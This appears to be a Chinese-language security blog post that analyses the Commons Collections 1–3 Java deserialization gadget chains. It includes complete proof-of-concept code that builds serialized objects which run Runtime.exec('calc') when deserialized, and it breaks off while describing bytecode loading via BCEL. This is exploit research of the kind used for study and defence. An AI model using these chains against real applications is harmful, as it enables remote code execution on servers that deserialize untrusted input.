Diggid's Blog

[Java反序列化] Commons Collections 1-7 反序列化链分析

字数统计: 12.1k阅读时长: 60 min
2021/05/30 Share

前言

把之前断断续续没分析的cc链子补完,加深印象,总结思路,继续加油!!

CC1

利用链

这里就分析LazyMap的链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
  • 前半部分是Source,动态代理触发readObject
  • 中间由LazyMap.get()触发ChainedTransformer.transform(),然后三段反射调用的拼接,最后触发Runtime.exec('calc')

动态代理

简单记录一下。动态代理相当于一种方法调用拦截器,其中涉及到三个角色

  • 创建代理者
  • 代理对象
  • handler

创建代理者一般指Proxy类,该类的newProxyInstance方法用于创建动态代理,该方法参数如下,返回一个代理对象

1
2
3
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)

第一个是类加载器,用于加载需要代理的对象,一般指定为系统加载器ClassLoader.getSystemClassLoader()即可

第二个是需要代理的接口,注意,动态代理只能代理接口,因此我们在转换代理时,需要调用(接口)来转换,而不能调用类

第三个是handler,需要实现InvocationHandler接口,当代理对象调用任意方法(注意底层调用)时,会触发handler内部重写的invoke方法,并传入相应的参数,具体如下,重写的invoke方法的参数如下

1
public Object invoke(Object proxy, Method method, Object[] args) // 代理类 方法 参数表

写一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.*;

public class TestProxy {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if(method.getName().equals("hello")){
System.out.println("hello" + args[0]);
System.out.println(proxy.getClass().getName());
}
return "hello";
}
};

Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Hello.class}, handler);
hello.hello("diggid");
}
}

image-20210603162145325

容易让人疑惑的情况是代理对象proxy在一些底层的方法调用时触发其调用方法,然后导致执行了handler#invoke,比如调用System.out.println(hello);,在System.out.println()的内部实现中可能就会调用hello.xxx(),这样就会触发代理。

分析2

首先我们将这个链子分为两部分,前半部分是LazyMap.get()之前的动态代理,后半部分是调用到反射RCE,先从后半部分分析。后半部分是由3种Transformer来通过调用反射来实现java.lang.Runtime.exec('calc')

  • ChainedTransformer
1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
  • ConstantTransformer
1
2
3
public Object transform(Object input) {
return this.iConstant;
}
  • InvokerTransformer
1
2
3
4
5
6
7
8
9
10
11
12
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
...
}
}

在InvokerTransformer的transform方法中,调用了反射,而ConstantTransformer直接返回可控的类变量,ChainedTransformer对其类变量赋值后的iTransformers数组的成员调用transform方法,并将每次的返回值作为下次的参数传入。因此我们可以构造如下反射调用

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

相当于

1
2
3
4
5
6
object1 = Runtime.class
object2 = getMethod.invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]})
//object2 = (Method)java.lang.Runtime.getRuntime
object3 = invoke.invoke(getRuntime, new Object[]{null, null}) == getRuntime.invoke(null,null)
//object3 = (Object)java.lang.Runtime
object4 = exec.invoke(Runtime, new Object[]{"calc.exe"}) == Runtime.exec("calc.exe")

所以我们需要找到一个方法,其调用transform方法,且调用者可控,这里就找到了LazyMap.get()

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

其中调用了factory.transform(key);,而factory可在LazyMap初始化中赋值。接下来就是要找一个方法,其调用了get方法且调用者可控。这里我们正向分析一下链子。注意到AnnotationInvocationHandler这个类,其实现了InvocationHandler,因此可作为动态代理类,且注意到其具有readObject和invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
...
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// memberValues成员变量初始化可控
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

// invoke
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
...
// Handle annotation member accessors
Object result = memberValues.get(member);
...
}

在invoke方法中memberValues为成员变量初始化可控,且调用了get方法,因此我们可以通过动态代理,让要被反序列化的AnnotationInvocationHandler对象的memberValues为一个Map(构造方法要求Map<String, Object>),这个Map作为代理对象,其handler为另一个AnnotationInvocationHandler对象,其memberValues就赋值为LazyMap。这样在readObject中调用到memberValues.entrySet(),就会调用代理类的handler的invoke方法,于是就可以调用LazyMap.get了。

POC2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {

Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realChain = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})};

Transformer chain = new ChainedTransformer(fakeChain);
Map innermap = new HashMap();
// 触发map
Map outermap = LazyMap.decorate(innermap, chain);

Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
// handler代理,触发invoke
InvocationHandler handler = (InvocationHandler) handler_constructor.newInstance(Retention.class, outermap);

// proxy对象
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},handler);

Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);

AnnotationInvocationHandler_Constructor.setAccessible(true);

// 包在AnnotationInvocationHandler里readObject触发
handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Retention.class, proxyMap);

// 把触发的realChain换回来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, realChain);

ByteArrayOutputStream br = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(br);
oos.writeObject(handler);
oos.close();
System.out.println(br);

ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray()));
Object o = (Object) ios.readObject();
}
}

为什么高版本无法利用*

该链子在jdk8u71之后就无法利用了,原因是AnnotationInvocationHandler#readObject的逻辑变了,具体如下。跟过代码就可以知道memberValues在反序列化赋值后不是我们的代理类了。

image-20210531215304162

CC2

测试环境

  • JDK 1.7
  • Commons Collections 4.0
  • javassit

Maven

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

利用链1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
        ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

CC1后半部分保留。链子很简单,Source类是PriorityQueue,关键是衔接Sink的中间类TransformingComparator,该类的compare方法:

1
2
3
4
5
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

存在很明显的this.transformer.transform,且该成员变量未被static和transient修饰,可控为我们的ChainTransformer。

再回想一下ChainTransformer的Sink,其RCE是通过各对象内部成员变量的值拼接起来的,不依赖于transform方法传入的参数,因此这里我们只需要找到一个类调用compare方法且调用对象可控即可,无论其参数是否可控。

调用compare的类就很多了,关键是能否和readObject连接起来,目前好用的只有PriorityQueue,定位其readObject方法,然后跟一下链子即可,无需考虑方法之间的参数传递关系,重点关注关键语句进入的条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

heapify();
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--) //注意这里的size要大于1
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x); //
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
// 即使这里right >= size,下面也会触发
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
}

最后在siftDownUsingComparator中调用了comparator.compare,且comparator可控可序列化,因此完整的链就分析完毕了。

POC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CC2 {

public static void main(String[] args) throws Exception {

Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})};

Transformer chain = new ChainedTransformer(fakeChain);

TransformingComparator tfc = new TransformingComparator(chain);
PriorityQueue pq = new PriorityQueue(1);
pq.add(1);
pq.add(2);
Field f1 = pq.getClass().getDeclaredField("comparator");
f1.setAccessible(true);
f1.set(pq, tfc);

Field f = chain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, realChain);

ByteArrayOutputStream br = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(br);
oos.writeObject(pq);
oos.close();
System.out.println(br);

ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray()));
Object o = (Object) ios.readObject();
}
}

利用链2

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

javassist

详细可参考:https://www.cnblogs.com/rickiyang/p/11336268.html

Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。

新建.class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import javassist.*;

/**
* @author rickiyang
* @date 2019-08-06
* @Desc
*/
public class CreatePerson {

/**
* 创建一个Person 对象
*
* @throws Exception
*/
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();

// 1. 创建一个空类
CtClass cc = pool.makeClass("com.rickiyang.learn.javassist.Person");

// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));

// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));

// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);

// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);

// 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);

//这里会将这个创建的类对象编译为.class文件
cc.writeFile("/Users/yangyue/workspace/springboot-learn/java-agent/src/main/java/");
}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

生成的.class文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.rickiyang.learn.javassist;

public class Person {
private String name = "xiaoming";

public void setName(String var1) {
this.name = var1;
}

public String getName() {
return this.name;
}

public Person() {
this.name = "xiaohong";
}

public Person(String var1) {
this.name = var1;
}

public void printName() {
System.out.println(this.name);
}
}

常用API

  • ClassPool:ClassPoolCtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用

    • getDefault : 返回默认的ClassPool 是单例模式的,一般通过该方法创建我们的ClassPool
    • appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,添加
    • toClass:将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class
    • get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑,比如设置Ctclass类的构造器参数、父类时需要名称
    • makeClass:创建一个空类
  • CtClass

    • freeze : 冻结一个类,使其不可修改;
    • isFrozen : 判断一个类是否已被冻结;
    • prune : 删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用;
    • defrost : 解冻一个类,使其可以被修改。如果事先知道一个类会被defrost, 则禁止调用 prune 方法;
    • detach : 将该class从ClassPool中删除;
    • writeFile : 根据CtClass生成 .class 文件;
    • toClass : 通过类加载器加载该CtClass,底层调用ClassPool#toClass
    • toBytecode:生成字节码,byte[]类型
    • addXxx:添加构造器、字段、方法等
    • setSuperclass:设置父类,参数为CtClass
  • CtMethod

    • CtMethod(CtClass returnType, String mnam, CtClass[] parameters, CtClass declaring):返回值、方法名、参数表、对谁
    • setBody : 将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除,代码块换行需要{}包裹
  • 其他的CtField和CtConstructor可查文档http://www.javassist.org/tutorial/tutorial2.html,和CtMethod差不多

调用类对象

有三种方法

  1. 通过反射的方式调用
1
2
3
4
5
6
7
8
// 这里不写入文件,直接实例化
Object person = cc.toClass().newInstance();
// 设置值
Method setName = person.getClass().getMethod("setName", String.class);
setName.invoke(person, "cunhua");
// 输出值
Method execute = person.getClass().getMethod("printName");
execute.invoke(person);
  1. 还是通过反射,但是前面不直接实例化,而是从设置的类路径中取出我们写入的.class文件
1
2
3
4
5
6
ClassPool pool = ClassPool.getDefault();
// 设置类路径
pool.appendClassPath("/Users/yangyue/workspace/springboot-learn/java-agent/src/main/java/");
CtClass ctClass = pool.get("com.rickiyang.learn.javassist.Person");
Object person = ctClass.toClass().newInstance();
// ...... 下面和通过反射的方式一样去使用
  1. 通过给定接口类型转换,这样可直接调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 接口
public interface PersonI {

void setName(String name);

String getName();

void printName();

}

// 调用代码
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath("/Users/yangyue/workspace/springboot-learn/java-agent/src/main/java/");

// 获取接口
CtClass codeClassI = pool.get("com.rickiyang.learn.javassist.PersonI");
// 获取上面生成的类
CtClass ctClass = pool.get("com.rickiyang.learn.javassist.Person");
// 使代码生成的类,实现 PersonI 接口
ctClass.setInterfaces(new CtClass[]{codeClassI});

// 以下通过接口直接调用 强转
PersonI person = (PersonI)ctClass.toClass().newInstance();
System.out.println(person.getName());
person.setName("xiaolv");
person.printName();

POC2

利用链2沿用了利用链1的前半部分,而后半部分需要用到javassist(前面说的)和TemplateImpl类,关于后半部分TemplateImpl#newTransformer可以直接看CC3的前置知识,CC2不像CC3中调用了两个新类来衔接newTransformer,而是直接用CC1的InvokerTransformer配合反射来触发。再回顾一下InvokerTransformer中的反射写法

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); //input为方法参数

因此这里有个比较麻烦的地方是,对于ysoserial中的原生CC2链,其衔接点正如这里所说的,是InvokerTransformer#transformer,该方法依赖第一个参数(要设置为TemplatesImpl),所以我们要回溯这个参数的传递(而不能像CC1一样只需要管中间部分,从ChainedTransformer控制参数即可),最终可以回溯到链子开头的PriorityQueue#readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
   private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
...
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
...
heapify();
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
...

由于queue可控,所以我们就可以设置queue的其中一个元素为TemplatesImpl。

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;


import javax.xml.transform.Templates;

public class CC21 {
public static Field getField(Class cls, String name) throws Exception{
Field f = cls.getDeclaredField(name);
f.setAccessible(true);
return f;
}
public static void setField(Object obj, String name, Object value) throws Exception {
Field f = getField(obj.getClass(), name);
f.set(obj, value);
}

public static void main(String[] args) throws Exception {

// 生成Evil类
ClassPool pool = ClassPool.getDefault();
// 最好添加下面这段,指定额外搜索路径,防止报错
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil");
cc.setName("Evil");
String body = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 也可以改成添加静态代码块
CtConstructor cor = new CtConstructor(new CtClass[]{}, cc);
cor.setBody(body);
cc.addConstructor(cor);
// 设置父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] code = cc.toBytecode();

TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_bytecodes", new byte[][]{code});
// 进入 defineTransletClasses() 方法需要的条件
setField(ti, "_name", "name");

InvokerTransformer it = new InvokerTransformer("toString", null, null);

TransformingComparator tfc = new TransformingComparator(it);
PriorityQueue pq = new PriorityQueue(2, tfc);
pq.add(ti);
pq.add(ti);

Field f = it.getClass().getDeclaredField("iMethodName");
f.setAccessible(true);
f.set(it, "newTransformer");
ByteArrayOutputStream br = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(br);
oos.writeObject(pq);
oos.close();
System.out.println(br);

ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray()));
Object o = (Object) ios.readObject();
}
}

其他细节

1.需要CC4以上的依赖

2.POC中的PriorityQueue的长度要大于等于2(add两次),前面有解释

1
for (int i = (size >>> 1) - 1; i >= 0; i--)

3.为什么POC2中PriorityQueue的变量需要通过反射来设置

首先说一点,通过反射获取该变量,是可以设置任意值的,而如果通过构造器传入的话,PriorityQueue对元素有要求,添加进的元素必须实现Comparable接口,比较器Comparator必须能够作用于PriorityQueue中的元素并提供标准的返回值(-1,0,1),所以这里直接通过PQ的构造器直接传入TransformingComparator,或通过add方法添加TemplatesImpl都是不可以的。

还有一点需要注意的是,利用反射来添加元素,PQ的另一个成员变量size的值并不会改变,所以我们还需要单独设置size的值>=2

4.为什么 transient 修饰的变量 queue 会被序列化

我们知道,Java反序列化类会实现Serializable或Externalizable,默认情况下

  • 实现Serializable,非transient或static的变量会被反序列化
  • 实现Externalizable,所有的变量都不会自动被反序列化,需要在writeObject中定制被需要被反序列化的变量

而Serializable也可以在writeObeject中实现定制的反序列化,其中包括被transient的变量,而PriorityQueue这个类就重写了writeObject方法定制queue这个变量可反序列化,而在readObject反序列化方法中,需要显式调用s.readObject来恢复

1
2
3
4
5
6
7
8
9
  private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out element count, and any hidden stuff
s.defaultWriteObject();
...
// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}

CC3

加载字节码

根据P师傅的 Java安全漫谈 - 13.Java中动态加载字节码的那些方法 这篇文章,总结一下文章中提到的四种加载字节码的方式

利用URLClassLoader加载远程class文件

URLClassLoader实际上是平时默认使用的AppClassLoader的父类。

正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类

当我们使用java中非file协议(java的其他支持协议,跟SSRF有关),就会使用第三种方式来加载.class文件,下面的代码可远程加载http://localhost:8000/Hello.class文件

1
2
3
4
5
6
7
8
9
10
import java.net.URL;
importjava.net.URL0ClassLoader;
public class HelloClassLoader {
public static void main( String[] args ) throws Exception{
URL[] urls= {newURL("http://localhost:8000/")};
URLClassLoaderloader=URLClassLoader.newInstance(urls);
Classc=loader.loadClass("Hello");
c.newInstance();
}
}

利用ClassLoader#defineClass直接加载字节码

java底层的类加载机制离不开这三个方法:

  • loadClass:从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass
  • findClass的:根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
  • defineClass:真正处理java字节码的一个native方法,将字节码处理成java类

因此我们需要特别关注defineClass,该方法常用的两个重载如下

1
2
3
4
5
6
protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}

protected final Class<?> defineClass(String name, byte[] b, int off, int len, ProtectionDomain protectionDomain)

注意该方法是protected修饰,所以我们再调用该方法来加载字节码时需要用到反射,并且该方法加载字节码后生成的java类需要我们显示调用构造方法来实例化,因此我们这里反射调用newInstance(),而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到

1
2
3
4
5
6
7
8
9
10
11
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}

利用TemplatesImpl加载字节码

这个点解决了defineClass是protected属性无法直接在其他类中调用。而TemplatesImpl底层调用了该方法。

该类中定义可一个内部类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ,在其中重写了defineClass

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

关键就在defineClass这个类默认由default修饰,是类外可调用的

在TemplatesImpl可以找到这么一条调用链

1
2
3
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

而前两个的方法由public修饰,因此都可作为最后调用definClass的起点。

回溯一下可控变量,可以发现loader.defineClass(_bytecodes[i]);中参数可控,那么可以构造

1
2
3
4
5
6
7
8
9
10
11
12
TemplatesImpl obj = new TemplatesImpl();
Field by = obj.getClass().getDeclaredField("_bytecodes");
Field name = obj.getClass().getDeclaredField("_name");
Field tfactory = obj.getClass().getDeclaredField("_tfactory");
by.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
by.set(obj, new byte[][]{code}); // code为字节码
name.set(obj, "hello"); // _name随便值,过 if (_name == null) return null;
tfactory.set(obj, new TransformerFactoryImpl());
// _tfactory设值,否则_tfactory.getExternalExtensionsMap()异常
obj.newTransformer();

并且由TemplatesImpl加载的类有一点的限制,需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {} //abstract方法重写
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {} //abstract方法重写

public HelloTemplatesImpl() {
super();
System.out.println("Hello TemplatesImpl");
}
}

编译该类生成.class文件后和前面的调用代码组合起来,运行一下,可以得到预期结果。

利用BCEL ClassLoader加载字节码

具体可以看看BCEL ClassLoader去哪了

该类的具体位置在com.sun.org.apache.bcel.internal.util.ClassLoader$BCEL ClassLoader,其在Java 8u251之后被移除了,在FastJson、Jackson等漏洞中都有用到

BCEL有特殊的编码格式,java中的Repository 和 Utility 可以方便BCEL字节码的转换

  • Repository:用于将一个Java Class 先转换成原生字节码
  • Utility:用于将原生的字节码转换成BCEL格式的字节码
1
2
3
4
5
6
